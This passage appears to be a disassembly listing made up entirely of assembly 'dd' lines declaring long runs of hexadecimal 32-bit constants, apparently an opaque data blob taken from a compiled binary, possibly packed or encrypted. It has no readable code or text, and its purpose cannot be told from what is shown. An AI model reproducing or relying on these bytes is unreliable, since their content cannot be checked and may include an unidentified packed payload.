2EE1C89Ah, 9A00B35h, 23F97FE9h dd 5C50B849h, 6746B53Eh, 12B05D57h, 949D7F06h, 0F97C91EDh dd 0B11FFC4Fh, 3A59FC99h, 56EACF04h, 0B500FE88h, 29503307h dd 820990F3h, 93C4DD08h, 463D3B6Bh, 4EDE7C4Bh, 5A26C2A2h dd 86CD41F5h, 0FA883D60h, 17979692h, 42F9045Eh, 0A8680785h dd 27C4E68Bh, 8CD96EB1h, 0F9A50285h, 0ABE98AC1h, 0D95D177Fh dd 895A2D5Ch, 91B415Bh, 0C300AE7Ch, 3312FADFh, 0D9047268h dd 0A4E9F8BCh, 3CC051A0h, 232702E7h, 9700C109h, 35073C01h dd 2E691109h, 2714564Dh, 2377659Ah, 0CB902Ch, 8158C66Dh dd 0AA733FCEh, 1CD72E4Ch, 0C7D207FBh, 0A16A0EF1h, 780F409Dh dd 6B48EA7Eh, 749502CDh, 0E94A3839h, 0F3EF427Fh, 5B61C1C6h dd 16B90C86h, 0D05A961Dh, 0F02F0A89h, 6E996983h, 9554F501h dd 847B3F36h, 0D205BF10h, 982DC2CFh, 11173A89h, 4BED947Fh dd 0BEAC7B3h, 0E72CF080h, 474D828h, 54FC5FCh, 0E12A5BC9h dd 0DF23A19h, 0A1F05CC9h, 0A8AC9195h, 0ED4C133Fh, 0AE0C9FDCh dd 0FBE6E8Ah, 0F7E3236h, 0CCF04649h, 0DDC48004h, 0BAC2E328h dd 1E67F09h, 4CB32C4Dh, 0E6462F82h, 0DB10138h, 9FE9D1F6h dd 53249DDEh, 6B0198Ah, 0AB1E360Bh, 0FA38FC9Eh, 7B9FD044h dd 5BB208CAh, 4C01742Ch, 47075E11h, 72520E85h, 73BB0C51h dd 0DD00B853h, 5193779h, 5A7E776Eh, 1EB85Ch, 73395F2Bh dd 4AC9E957h, 8270EC0Eh, 57455968h, 2C983D4Ch, 46E7B84Eh dd 70FBD4Fh, 1E147DECh, 0B11F660h, 0E95F12ADh, 0AD145D30h dd 244761Ah, 51B3B42Fh, 0E19996E1h, 55BA60A4h, 6783BD1Ch dd 28F45853h, 0E29858C9h, 0A4AEB7C7h, 0C7E19533h, 0B8BB94F5h dd 0EB68C288h, 8992510Ch, 4B7473CEh, 5805DC7Ah, 73BD75E7h dd 0D468412Bh, 4E284E45h, 12DFDED1h, 0C8AA743Bh, 4EBE0B8h dd 57340CFEh, 6D139143h, 0D50A765Ch, 0E03207EAh, 906406A3h dd 34291990h, 5E1280AFh, 0C8A47FA8h, 3FA45B41h, 0AF279B7h dd 4F705A8Dh, 0E6B22024h, 53E737F5h, 2FCB38E6h, 0E768EAD1h dd 7525CF8Bh, 0FC8DC5Ah, 0D412E4E9h, 0A0D6FF28h, 0ACF99F0Ch dd 5303733Eh, 0E9FD70E5h, 52310F0Fh, 5932CB6h, 0EB15AAB1h dd 6E745B74h, 6809B8B7h, 60714B64h, 2FB41F88h, 5004078Fh dd 864AF2C1h, 0B7F3B572h, 28CAD6E3h, 6C5D1B4Ah, 0E0C016F3h dd 80D3B802h, 66AC6856h, 0D3105C2Bh, 111B2DB0h, 81687E3Ah dd 25D62919h, 0BE31F001h dd 5AD00810h, 2D15A305h, 56965EEDh, 0E0D1F15Eh, 874B5BD9h dd 0C49950h, 0BB51B852h, 0AE47AD40h, 8109559Ch, 342C57E9h dd 7D3BD00Ch, 41B5CA32h, 9FDC0806h, 0C1B4C905h, 295D108Ah dd 0FE20393h, 0B84B5C72h, 2D70F1E3h, 0BE687755h, 0A17EA6D3h dd 0E90D349Eh, 38573BECh, 0CE493CF4h, 6FBC45F0h, 0A0C58160h dd 1D64054Ch, 0D7D8E945h, 593E530Eh, 0D8F70A25h, 1FBD02CCh dd 0C5091651h, 0D0205844h, 165E64D3h, 6027A858h, 5BEA5A54h dd 0B9C4BFD9h, 0C089E93Bh, 410F9050h, 20B088F4h, 2FA22C8Bh dd 298FB474h, 0B94A4C8h, 2F7995A3h, 0CA49D62Bh, 0A552391Fh dd 1594B1F3h, 0B039FD5Ah, 2722F2EBh, 1545139h, 30E9114Ch dd 5E7BD4E3h, 0E4C1C19h, 0F02EB3h, 0FE4B86AEh, 0B2A0CA90h dd 61F971AEh, 4FB9528Ch, 0A76BE102h, 907A600Bh, 0C10AEF6Bh dd 5C252996h, 8060918h, 0C214821Ch, 0FCE24A7Ch, 169CE8E9h dd 9F75653h, 5F54E80Ch, 0D818BA63h, 58296C66h, 0F885D9D0h dd 750067Fh, 2A256039h, 698659BDh, 93CFC25Eh, 0BEA8D08h dd 0BD7F652h, 586BDC30h, 0A34A74E9h, 0BBCA57E8h, 726E428Bh dd 623AE901h, 0A66A896Eh, 2D62EFBBh, 0DB0B5DEDh, 44DCA600h dd 295B5C2Bh, 816C0C4h, 75D9DE19h, 0BD4ECF68h, 7E0B9F5Dh dd 0FC062BA8h, 1DEA2795h, 7AADFF5Eh, 0A1DB27A3h, 0BB532F10h dd 645C2709h, 0B0CD0133h, 4C39722h, 8B730E0Ch, 0F9DA9055h dd 6D505163h, 9C020BDFh, 76E992AEh, 5127A462h, 0AF9E74EFh dd 0B21222Ch, 577BE9C1h, 39CB1975h, 6252AF52h, 0D3F2D824h dd 0F5CEB8E5h, 262A0FE8h, 0FC9CFA88h, 264498ABh, 6920A5CCh dd 0D0202C4Ch, 2740769Eh, 6688BA3h, 8080CD7Ah, 62B61C7h dd 0F7FA8830h, 0FC65A6FAh, 0FC3DF6A4h, 8942CFBEh, 974EDFEBh dd 12464500h, 57DD0160h, 2908A1BFh, 40A15F60h, 2D0F0593h dd 4D68D66Fh, 8660A1B6h, 0E60912B9h, 2D01BF06h, 1C08348h dd 0E02B602Eh, 2217F453h, 715751E9h, 0FA187A9h, 11DE62A3h dd 5A0B56AFh, 0EEE5D920h, 9AE98007h, 0C19AF40Bh, 6C087D68h dd 2820CC30h, 2E649FD3h, 0B7606120h, 65FF9CE2h, 37E90C60h dd 0F0582C45h, 0E0B500DBh, 0EF3032B7h, 1D07359h, 6676F780h dd 0D2194C68h, 9B54F623h, 0FE5BE001h, 6FD4A1C7h, 0A95251FCh dd 0D99D72D7h, 4B2E9255h, 0A472B9BCh, 8F2A85BDh, 2BF1E11Fh dd 42BCDE2Ch, 660495F5h, 582CB5Ah, 9236859h, 8854DCBBh dd 14BDF7B2h, 0C26812DFh, 907FF64Ch, 0DF169306h, 83E95B42h dd 4A85F4E2h, 6E950223h, 61573940h, 856E21EDh, 208BAFACh dd 48F2DF4Eh, 0BD5A8454h, 0CF650B13h, 0EAC16B21h, 76616906h dd 0A12950Ch, 12574E6Fh, 0C16D55D9h, 5148EE1h, 2F77F801h dd 4D7029CAh, 90061869h, 0D6F63E79h, 894FC527h, 0E607291Ah dd 0B252175Ah, 1D23BE3Ch, 0C28C2C51h, 0C2F6AEABh, 8902B1CCh dd 3203DDCEh, 2C931B80h, 0FB5D85F5h, 8F1273DDh, 0B7C4525Fh dd 52AC9220h, 0B3285350h, 0D84BB488h, 0CC973FB2h, 7141E043h dd 0C03BC47Ah, 496FAB56h, 3EB91B4Eh, 0C50B0841h, 5A351E60h dd 3AD77EF5h, 13E92B91h, 0FFDC122Bh, 666E3E41h, 7CB7904Eh dd 297291B8h, 0EC1831DAh, 587ED408h, 3EBDCF05h, 42FB5A56h dd 5169B405h, 34EF1CC0h, 9601276h, 8B2BED18h, 4A6A982Dh dd 1822A3A3h, 0CBF354B5h, 50371D06h, 7AF38072h, 554A3C7Ch dd 4F01BD77h, 0EB311A16h, 0ADADC1E9h, 0C087CB69h, 11FA2870h dd 0EA4DEB60h, 5E945705h, 83E5062h, 68E6582Dh, 6D9EE924h dd 0BFD214AFh, 65F93D2h, 4883A120h, 96476007h, 179107Eh dd 32DA58BFh, 0EE7D56F7h, 5C036A77h, 0DAC895FDh, 5351AC00h dd 0B339B652h, 0C060427Dh, 21B7BB6Dh, 0BD4E02CCh, 3B791F33h dd 0B92827FCh, 0B650448h, 82B64A16h, 2EE52890h, 0EB60FBC5h dd 57E2A131h, 0A8EF8901h, 0B75D8ED5h, 29511301h, 0ECE66CAFh dd 4B01A140h, 0AE1535DEh, 0BAD4C898h, 1CB832D0h, 64572DC1h dd 12844ACEh, 788CAE30h, 0C4989864h, 1353BCA2h, 4511DAECh dd 0C4342730h, 7E5E4C07h, 12B9BD10h, 9BB9535Dh, 0A23681B5h dd 0B100340Ah, 0E1809B0Fh, 76E65BCh, 52588CFBh, 82EF683Ah dd 0E95A0B67h, 31EB5022h, 9110F330h, 0FFBE02DBh, 6B1F2661h dd 887BADA1h, 0F7A2E9A6h, 584BEFF2h, 406408F0h, 0B903B809h dd 2D4C0C5Ah, 0DD08953h, 1D1DFFC4h, 0C040369Fh, 41BA7323h dd 8C79DC05h, 72B2804Fh, 0C420004Ch, 40F1292Fh, 2D196C7Ch dd 749046DFh, 502E6EB2h, 80B1162h, 85465D6h, 451C6888h dd 1717EE7Ah, 923D7783h, 0A5DC62BEh, 0A480478h, 17DC2C8Bh dd 4D4A8BA0h, 7830D73Eh, 0B77E3A68h, 0A5B27E14h, 862E679Dh dd 0F1FE27E9h, 0DD24D777h, 7787547Ah, 57FE5F64h, 8650B5A2h dd 28034CE7h, 4E98283Fh, 64570C16h, 3A32B626h, 0C7B4D805h dd 67FE3982h, 23EE0080h, 0E96C374Bh, 275F55Dh, 0F6381BBAh dd 550D606Dh, 0C662403h, 4A590636h, 0EB040C30h, 3B8C182Eh dd 14016101h, 5989316Fh, 33873E93h, 1688CFB4h, 0AC7C5ABFh dd 6650DF6Eh, 9613533Fh, 0D69BA8F0h, 0B42127AAh, 0AB4390C7h dd 4B48F213h, 182F0B05h, 89C882B0h, 0CFDC09D7h, 2A7CA310h dd 31AB455Fh, 1915FD6Fh, 78657A4Dh, 1570BAAh, 0D199F683h dd 1A8D8F4Fh, 4B6E9C97h, 1AD75F21h, 82398295h, 0E0FE80Fh dd 382EA40Ah, 7F8104CBh, 60FEE781h, 56B88193h, 3C1F0768h dd 0CE58C0D6h, 0F44A0515h, 0B192E914h, 5EA773A4h, 15944321h dd 5A90CC7Ah, 0CDFC034Fh, 725E86A2h, 577D9627h, 0A64FFF59h dd 9102273Dh, 5203CC98h, 67508CB3h, 3E718B2Dh, 2747513Eh dd 0C113C9B3h, 52EBC5FBh, 0E04ABACCh, 0AE925D51h, 461A595Fh dd 5FC74218h, 7D09B002h, 0E9AFD20Bh, 844237Ch, 7E533E68h dd 6088921h, 2D0C100Fh, 0FC64095Dh, 40525A53h, 0D8C33D29h dd 0B987343Ch, 0DB045EA8h, 0C1203061h, 0C5143A25h, 5D0BB33h dd 1EC82FCh, 380168C5h, 68AF502Eh, 0ECC1C53Ah, 61884CDDh dd 0D06DE9ECh, 0C204287Eh, 26CE63F9h, 9A1DB850h, 0D04F2949h dd 0E0D909A8h, 3AC8F46Dh, 40829458h, 0A975D1E2h, 316BE397h dd 21FB0189h, 28CB8B9Eh, 5D8484C1h, 32280012h, 551582Bh dd 400386FFh, 97173035h, 7E956BD8h, 777EEBC1h, 0E979C8E9h dd 0DD9C6039h, 674268C2h, 72BD6A7Ch, 0B48D25D5h, 80C05779h dd 4A3094EFh, 433798F8h, 188C514Fh, 576940BEh, 0C0B7DFF2h dd 0E8015BF4h, 7649250h, 46B925DAh, 292ABF8Fh, 55753008h dd 916067E9h, 5777F7A5h, 0AE3A4AF8h, 0CE50B01Eh, 5D77893Fh dd 0BC4A8B4Ch, 0EE29500Ch, 205C717Ch, 93EF8159h, 32AD76A7h dd 0BE947678h, 0ABB015Ah, 7B3CF668h, 3FCC5977h, 10CAE94Ah dd 0FF48DECDh, 92B5B34Bh, 6F943DAEh, 0DCABBCC4h, 4F44A749h dd 0C796A1F8h, 582B7104h, 45C46A5Fh, 0AFD617BAh, 367D0A3Dh dd 5DBD0C98h, 4C173405h, 91FB48E9h, 882FCC49h, 87A59CE3h dd 0E2D6F7F0h, 0C9D90930h, 0FA241E2Bh, 71669742h, 0EC9542CEh dd 564507F6h, 0CC0E61AFh, 9A12413h, 378A6E00h, 71613558h dd 404C176Ah, 0CB200525h, 0E59B0378h, 55B0C015h, 2D0E0BBDh dd 0EDE905DDh, 5BE0639Eh, 0FBF50581h, 0F7911h, 0EF4BF882h dd 0C25DE963h, 4C463760h, 0E66588E1h, 1579FC21h, 0F9B3A085h dd 77618470h, 719D5E2Ch, 0E1722FECh, 0CBF351A0h, 39805980h dd 0EC9BA1C4h, 441C0C1Bh dd 0CB1258E1h, 0C3C1A32Dh, 0B4DE287Bh, 0EB804700h, 50E32818h dd 2A9CEBB0h, 92684458h, 0C498EC12h, 0A3FD03FCh, 0FE56A800h dd 2F28169h, 0C0AA0C27h, 4B7A4B5Bh, 4CCACB6h, 51D115F1h dd 0F200A2F8h, 0ED1B91D3h, 0FB40AFE9h, 8BE650C0h, 31574114h dd 0EF493065h, 9F30347Bh, 0B3CF17C0h, 555E2C11h, 9D300B1Bh dd 5198F811h, 0F4C0FE92h, 849650B0h, 26AB762h, 9E769968h dd 7254D427h, 4D11FA00h, 0F2A1747Eh, 0E90D8515h, 25EBC7D4h dd 53F008C7h, 0EF134813h, 4B3016F0h, 85C2B2E5h, 0C42CE828h dd 78EA702Ch, 9770E9D0h, 5A51807Bh, 0B7E6EEh, 0BE665639h dd 346D7A41h, 1236EA8h, 0A24326AFh, 818A744Dh, 7B6FC924h dd 24020E13h, 5F505508h, 68041B64h, 37514F94h, 0D30FE3F8h dd 0E169953h, 0BCB39735h, 9CAFF54Ah, 6E405BA3h, 0A83C25E9h dd 0AAEEAD72h, 56699F62h, 9154C6Fh, 2CD64574h, 3AC9E055h dd 32E40538h, 0C8BD7CE9h, 2FDA4B3h, 1218FEC0h, 0FBE9C423h dd 2D180BCFh, 0CE097FD9h, 28BC31E7h, 7DE04BD1h, 68070A0Fh dd 66F52AF7h, 4FD45856h, 0D0712A0h, 7C2B9990h, 0C1591FF6h dd 0F79307E0h, 833530D3h, 3B125AFEh, 2F405EE9h, 9915A52Dh dd 0BEF900Ah, 27C53913h, 1FDFF700h, 0F1EC5329h, 19FB4F17h dd 96596CF0h, 0E8586241h, 496645FFh, 0BB53CFB0h, 3079F109h dd 4194DA58h, 290B00FEh, 0DB4AE9CEh, 0C9BFEF00h, 9034534Fh dd 69E10A97h, 10F46762h, 68BC4FFCh, 0CE409741h, 5E7AABF6h dd 57E3A0F3h, 0D2C37D0Fh, 0D6F33701h, 0AFE5D05Fh, 2DEE45EAh dd 354CD718h, 0A205D88Ch, 0AD6B6507h, 6B885ADEh, 0A7D12DBAh dd 0E43CF74Bh, 0E74C552Dh, 54680F12h, 0EE0E6024h, 99F5E2C1h dd 20C90D00h, 5786301h, 0F0B4BA01h, 2E6EF12Ah, 0DBF16302h dd 958BDFD2h, 701EBA54h, 64F50762h, 0B4022610h, 5BC0B8B4h dd 974CB1E8h, 3434A05Fh, 2659519Dh, 0AA2114B8h, 7D89E42Dh dd 7B9700FFh, 95E69F02h, 0E2200D64h, 8B659FC2h, 96B5F215h dd 49A13DF9h, 0CB5207E7h, 0CE39E94Bh, 0F5AF4C8h, 58E63059h dd 0AFC8F52Bh, 0FDBA72EFh, 14D085Eh, 0A9FD3BAEh, 0CF010B8Fh dd 0D60EFA84h, 0C1293D55h, 0B06EBB9Ah, 12422317h, 6742DFEh dd 0E92D0BB8h, 5DCE615Bh, 89A756C6h, 0B8574CFBh, 9F5AC5FCh dd 2C448371h, 0E703CE95h, 0A99F97C1h, 4689CE31h, 3FD97BDAh dd 0AD95AF4Ah, 0FA0954B3h, 805085C9h, 0CA1AF124h, 9EB80124h dd 29954764h, 282730E8h, 1ED4E241h, 0C1B8BD4Bh, 7B4B1968h dd 0FD469537h, 46064431h, 0E648D1E2h, 53925DA2h, 743D01B1h dd 63E9DA9Dh, 3195126Fh, 7A0C67A9h, 52CA3FB2h, 0FFC13598h dd 59EC0B81h, 8768F37Eh, 0B9CCB1E9h, 532F00F6h, 410530ABh dd 2B5E7A15h, 741ADECh, 443D2860h, 0F173F758h, 27C36816h dd 744571F5h, 4A971704h, 67C28000h, 0E490D520h, 3C03ED40h dd 4E173862h, 0A46EF895h, 0D209D30Bh, 86DC9560h, 0A7BE011Dh dd 587FC16Dh, 0CB81F23Fh, 4FB05F52h, 2A0470F5h, 7CBF6812h dd 79A631ABh, 0C1310190h, 0C423876Eh, 931CEC4Ch, 5B586E04h dd 27EDBD00h, 314E25C0h, 0E24B95ACh, 6CE9CF51h, 715A3064h dd 0FAE0BF91h, 9591CEABh, 0EB95F828h, 0F5DA4A93h, 0D2EF329Fh dd 58B5C1BAh, 0D3A79DB9h, 0E920ACCh, 3AE6BD5Bh, 39886426h dd 2649DF08h, 35080043h, 7E566748h, 8A0B2DE8h, 0F0C31662h dd 295F2D05h, 0C02F0ACEh, 2BA5B61h, 2A451AC1h, 841DE35Fh dd 0B6025254h, 293E8C4Eh, 8D8887Dh, 58138713h, 7C8B2E00h dd 27E9092Ah, 924CEB0Fh, 23E12F98h, 7C4E1088h, 0D20A554Ch dd 38FFB2Eh, 470245CBh, 5741FFF5h, 645246BAh, 0E8220C81h dd 0CDE919ACh, 27297AEFh, 0AC9F36Ah, 0C2D011E9h, 0C3D2EE9Dh dd 7CFEF4B1h, 88E53EB1h, 583C059h, 7160EF3Ch, 7F5E300Ch dd 9F1B04Ch, 0F599A9FAh, 998B1709h, 12C8D96h, 4F17BDFBh dd 1008BC0Ch, 0B8B2B5Fh, 85E905B5h, 0BE89426Dh, 536103DBh dd 8B73D9E6h, 0B056630Bh, 1733C648h, 0B02EE937h, 66C9438Ah dd 20BFC601h, 80094EFDh, 455138C3h, 0AE0CB44Ch, 0DD10908Bh dd 3BB905E3h, 0FBE835Fh, 78C691C5h, 7B794638h, 7F719725h dd 2C089E08h, 2CD83DDEh, 13489F84h, 85E01CAFh, 0FE5542DAh dd 0C8CA0B63h, 68594D1Fh, 0E634A49h, 57FEF187h, 0D3A9E968h dd 27CE7E08h, 1520D9DAh, 0A5B84E87h, 0FD6B5570h, 0EB313584h dd 268A3980h, 208798BAh, 95B24C2Bh, 0FE94B6F0h, 87E4680Dh dd 9754CAE8h, 0DEAFA859h, 29D9AF20h, 7429556Bh, 0CBE1566h dd 0A114D77Ah, 946EE915h, 0BE7376D9h, 0A8A1C17Eh, 2E9825B9h dd 44EF3164h, 1DB655AEh, 76A6801h, 16B1087h, 3B0520B6h dd 0F5C02B34h, 0C3FBB5E9h, 505D542Bh, 0F7564ACAh, 425DFCF2h dd 9A825E54h, 0FF7A631Eh, 5447B025h, 9C55EB27h, 2AE916DBh dd 6CB22986h, 61FAD348h, 17CEC1B7h, 0E7AADF6Bh, 7AC1658h dd 0CF012A64h, 6BD1F7ADh, 40E73AB0h, 522D6877h, 23749841h dd 2A740A39h, 884EFC1h, 5B0BF902h, 9A27551h, 3B5FE01Fh dd 0F0FCD9CFh, 2EE7A76Fh, 30427E10h, 43E6F147h, 970BAA67h dd 51248068h, 45382E2h, 535478FBh, 0FA092228h, 5862886Eh dd 8929586Eh, 0ABA0CB17h, 0A87C7838h, 80B3A4FAh, 0B02E7BB5h dd 0CB3F7B6Eh, 64E7A0ACh, 78B2BAC3h, 5D9F3C9h, 20FB8746h dd 0C09EA23Fh, 88FD5969h, 290946B2h, 2043ECC8h, 81004DEDh dd 0D00DCDF2h, 5D3216Fh, 6EBC15Ah, 92D98243h, 90F25BECh dd 0BF0474BAh, 0A888B031h, 0AE2A16BBh, 80BC0375h, 4120680Bh dd 8FC1DE1Bh, 9F346B6Ah, 203EB1AAh, 57829BF5h, 241C11FAh dd 7A7B050Bh, 0E370F0Bh, 6728F54Bh, 2D5D1708h, 2A45FD26h dd 3D7CC16h, 0EAA0CC94h, 4DCC9D5Dh, 0FE6F100Ah, 0F40ABF35h dd 5F39F090h, 0C1A3F56h, 65C75FF1h, 729056ADh, 0DF68D418h dd 0DE735B48h, 2267DB09h, 0D72241h, 6E10BA52h, 4A2CC51Fh dd 5A074009h, 47424C94h, 47793500h, 5AD63157h, 0B53BD09Dh dd 85BB6082h, 6A4BB900h, 1605862h, 402C3748h, 79EB0741h dd 0AF2925F1h, 0D1AF5F12h, 1DB62E5h, 60DDC288h, 2C2F126Ah dd 0ED0E8178h, 3237B0BAh, 57BB9C85h, 7C1B71A0h, 5BBB0045h dd 19BA1F5Ah, 0F914C6BEh, 40B7AE28h, 34B5DDE1h, 0EEC70E49h dd 2743C423h, 2CDE7AB6h, 0F8AB162h, 0E5BE1EF7h, 0B33E907Dh dd 0A67BE173h, 3E6E52A5h, 0AE39689Dh, 0AA288D00h, 0BCA814Dh dd 799A3A5Ch, 296009h, 66E0007Dh, 73D78853h, 0F9C14B51h dd 0A5BC2D8Ah, 0C7FBE3F8h, 3F51E0AEh, 0D548F775h, 13840652h dd 55E7BCBh, 69AFACEDh, 586AB8ECh, 0E9060404h, 0C6D5558Bh dd 0E68388EEh, 27524440h, 0FE1DEB6h, 539130F4h, 0F698B700h dd 80CFFED7h, 88B816F7h, 0C83104FDh, 4DA1478h, 33404D0Ch dd 1D5A50FCh, 0AACDE93Dh, 34B25185h, 192853Ch, 1903C668h dd 0C2A6206Ch, 0F7010DCCh, 0B1EF4007h, 0B252CB07h, 80D1FE73h dd 0C2CC88E2h, 0C50CC857h, 0D1286102h, 4E86C15Ah, 0E90A0696h dd 4FCA8E37h, 61A3E9D3h, 0F57A2D0Ch, 0F2A63A0Bh, 4AD3F910h dd 0C89351C1h, 56EDEB81h, 0A68268F4h, 0A64E2DACh, 0F63187DBh dd 5505591Ah, 5726B390h, 0AE5570C9h, 5D37129Fh, 0CEF2D4C0h dd 0C19818B5h, 0C14E9602h, 944AA2E9h, 7A0C325h, 617F52E6h dd 65F5CB87h, 0D6869B94h, 4FA02790h, 4436273Bh, 2F7627FCh dd 52F6BB94h, 57585CE1h dd 6BEB6085h, 47C704E4h, 2CFE17FDh, 7BB553BCh, 7AD9E266h dd 0D8DD5B07h, 66802C6Eh, 87C59BDh, 1828439Ah, 0E448F32Fh dd 0B9F673EDh, 0BF5C9223h, 2EE9FB60h, 0CF575CC7h, 872CDF20h dd 709E5F7h, 0D993804Fh, 265B4BABh, 1716FA01h, 92EDECF1h dd 0C1C07BB8h, 6292656Ch, 41F6294Dh, 0B8133B08h, 0ADF3FD71h dd 70FCBB01h, 0E3A8FD33h, 1940A068h, 0A7A825E9h, 0B462AF74h dd 5BA005Ah, 3473BF09h, 6CB86290h, 0D8278D05h, 0C380417Bh dd 981548C8h, 5EF130BDh, 325A7E20h, 0E885AC4Ah, 0B8ED5604h dd 0C1E95309h, 1279725Dh, 75A5EA81h, 7E720E6Fh, 0E4C00370h dd 0D1C4FE08h, 983F4C23h, 0F54A7CE3h, 0E4D324ACh, 15E88E9h dd 0F4102DF6h, 0EE871397h, 0B80F4E8h, 1E85CE1h, 5BB09097h dd 0B5518093h, 0ED80CB0Fh, 5E466BAAh, 50F382EAh, 84FD9A60h dd 75AE5D81h, 3213EFBFh, 89174FB9h, 0B22964CAh, 0B90FC4ABh dd 0DB13AA17h, 4269ECC1h, 7D89C210h, 2958381Dh, 8489559Fh dd 0CC28C85Ah, 0ED0202Ah, 8F131505h, 1381432Eh, 29018D4Fh dd 0F89E43D1h, 0B6EC655Bh, 6187240Fh, 2768FE86h, 3BA85897h dd 845FF4EEh, 47EB192h, 88DB2108h, 11217A60h, 5E025643h dd 486BCA90h, 5DEB21C6h, 0AEAF4810h, 0D68F698h, 2CB7B4Fh dd 0E9164296h, 8793A4ADh, 4E7940A0h, 0AC0B54B0h, 7845255Eh dd 42AFC9Eh, 89E3FC74h, 0E72B80D7h, 1D1665BFh, 3AB84F64h dd 6728002h, 0B760891Fh, 58C982C5h, 83520958h, 0B4EA08B9h dd 0FC25BCF8h, 66EFEADCh, 9EDF58E0h, 0E21608B7h, 66B4C58Fh dd 5AB0532Eh, 0CC228C6h, 633C3A81h, 4038B65Bh, 0B3805594h dd 0D3F600FDh, 0C057E380h, 515E06EBh, 0E9216CCBh, 0AF53A7AFh dd 0DA3438BDh, 762C3CD8h, 90064A92h, 99413399h, 0E6C12512h dd 82CE8307h, 5348A7A1h, 19F42080h, 0E6D1793Fh, 2C854BBEh dd 8B054D6Ah, 5F24F2C0h, 3F84AE94h, 0F1F6E691h, 96CCC724h dd 47378B47h, 0FC8B6C59h, 69497CC5h, 0F82E394Ch, 50606F44h dd 0C6BD7B8h, 0D9BE046Ah, 4BF290Bh, 0D4AEEDCDh, 0BD5AC29Eh dd 9EC2B4F4h, 0C14F2278h, 0E5692075h, 63EF338Eh, 40B5C74h dd 0B43529C0h, 7B061102h, 7F39E940h, 47F6A5A1h, 6E043EC0h dd 0BD52684Ch, 16E548D1h, 0EDA2909Eh, 0E537FA4Ah, 686B56F2h dd 505D55BDh, 40A980F7h, 7A950587h, 6B0A946Bh, 0D658E276h dd 26880AAh, 208D5D4Ah, 99DA1C2h, 113D1C77h, 95612D1Ah dd 44B72FCh, 7EC68F8h, 0B8CBF3C4h, 584DA115h, 63970305h dd 2C3A4874h, 0BBD401Fh, 46DF201Ah, 7161D80h, 0A1B835F0h dd 0CFB7434Bh, 3C7F5C25h, 0C0E95175h, 0CADBB23Bh, 3D0FCF51h dd 48124571h, 0D045D2BAh, 2AC1CE1h, 497A7453h, 5F147D8Ch dd 78FC294Ah, 7488EBB4h, 0FC212FE9h, 9D897879h, 4644558Dh dd 0CF1D689Fh, 563C146Dh, 0CD84995Ah, 0E2E74158h, 4FC1B50Ah dd 0AE587A28h, 0D1DFEC3Fh, 2D5EF7D5h, 25C5D4F8h, 66DE74D6h dd 9DC07D02h, 575B5453h, 6795FA56h, 74DF979Eh, 9990AE10h dd 0F2DAF658h, 8DE76038h, 80F484C5h, 0EA89EB12h, 0CAB0F7E8h dd 66F23759h, 2A50574Ch, 6CBDE730h, 5EF018EEh, 6FA0CC51h dd 0E9427D0Dh, 0CAA0B10Ah, 0C2C083AEh, 4E6800B1h, 2228B33Ah dd 0E548C15Bh, 0E153CFDCh, 414B076Fh, 0CEBC6E30h, 0A6E5EE1Dh dd 8492F998h, 0AC0BD7B9h, 0EB8505F7h, 7F4704ABh, 0E4EA993Fh dd 0DEA663EFh, 0FBCB2797h, 2BD244D4h, 151EF75Bh, 4EE9F626h dd 93A81649h, 0FB438D43h, 84E02B4Fh, 0B3E84B21h, 5EE909A7h dd 0F2905D74h, 751F92EAh, 404CA5A9h, 0B5B91A73h, 899727FAh dd 0C7590030h, 4FF7630Bh, 588EF83Eh, 0A11E108Dh, 0F8295A03h dd 0ECE17505h, 0E8B8405Ch, 8001B951h, 0E9068203h, 496E4785h dd 0F4A7BD53h, 0F2540468h, 3C444FCDh, 8002AD97h, 65E0D1F5h dd 0E54CC007h, 75B712BAh, 1C4A93ACh, 0E91982A0h, 4E578489h dd 590BA212h, 0EF562566h, 75B47E31h, 5FEDBA00h, 0C138C32Ch dd 0C8206005h, 0BF34A104h, 0E104BF12h, 59B89E92h, 5745E8A2h dd 89ED0597h, 1A845B1h, 0E649F9F6h, 4AE168D0h, 1292CF04h dd 0CBEEF51Fh, 88A012F2h, 469832EEh, 9746667Fh, 75641340h dd 3E80244Fh, 9E62E905h, 0BBB702C1h, 282D7F6h, 0FF85C780h dd 66F7E1E4h, 3010946Ah, 3DF223C2h, 0CE1305Fh, 138350Ch dd 0E089782Fh, 80DBF1FDh, 75621268h, 0D5EE1C3Dh, 12C62ECh dd 9F1071CAh, 2CF75926h, 77B86009h, 43090906h, 55959AE9h dd 78ECEE98h, 0F724E87Eh, 0F11A85D1h, 4E055F11h, 6906A1DBh dd 7502897Fh, 0D389724Dh, 4411546Dh, 4902A089h, 11B7CF6Eh dd 0ABCD4B7Dh, 0F6F2A934h, 663C3A98h, 9FCE3080h, 0F0F8AB96h dd 8522E927h, 0DA074DCCh, 6CC40F1Eh, 0E91AB4AEh, 993F5F35h dd 9B68BA90h, 1539EC1Eh, 68442958h, 3CA8E982h, 1766E490h dd 0D04EEE25h, 80E6403Ch, 679808F2h, 2C5C29C2h, 0AD0E5784h dd 0E6B10992h, 0B0500C00h, 3320E987h, 12B21583h, 310F128h dd 0ACB84B99h, 0A396F28h, 0A67C9BF5h, 572C1281h, 0F04AF8A4h dd 0C0F6B5E9h, 2C1FC639h, 6ABF18C9h, 5E080D36h, 88FEF1E6h dd 1E3DE3A9h, 60172C77h, 0A95F0F82h, 4E3FF4CEh, 5B3D7EC8h dd 2883FBCh, 59CAB5BFh, 858B4DF8h, 71A6DD6h, 9382FDD1h dd 31028C75h, 99BAC1E8h, 9DCDB23Eh, 3BEA2E62h, 0D8BD584Dh dd 0FD3035CEh, 0C08425B4h, 3320B4AAh, 1236C848h, 68FAD001h dd 0B26A28BEh, 0CEC7A49Bh, 54C8E2D2h, 2AFDC2E7h, 40629F7Eh dd 64337E6Ch, 3C98BB5Fh, 0C9565BE5h, 13492DE9h, 6E96DAEh dd 5C1788Ch, 20253E09h, 0DE3A0514h, 4F19D1D8h, 6BDF49A5h dd 605206E1h, 6D5FB6AEh, 6BA50B30h, 1F359835h, 0D37510F7h dd 6AA7F14Ah, 32B914B4h, 0DA16581Eh, 0EDF16BCAh, 181944A6h dd 0DA34666Fh, 869F56A7h, 0ED96512Dh, 0E986EF42h, 585CC9AFh dd 0D0C61737h, 41DDF9D0h, 0E86E5A07h, 0E6F34EF2h, 477A6D25h dd 0E834FD98h, 0EE80EF7Ah, 0D05B7B58h, 0C22093B1h, 0CD0C5D66h dd 9FB23829h, 0FC10AC49h, 16B576CAh, 0B1CB2793h, 0E309F35Eh dd 0D3B66327h, 6A443DBEh, 87B0EA9Fh, 6DD044C2h, 0D98E310Ah dd 11B105BEh, 530C8240h, 81170093h, 0AE3578E7h, 0E8B0475Eh 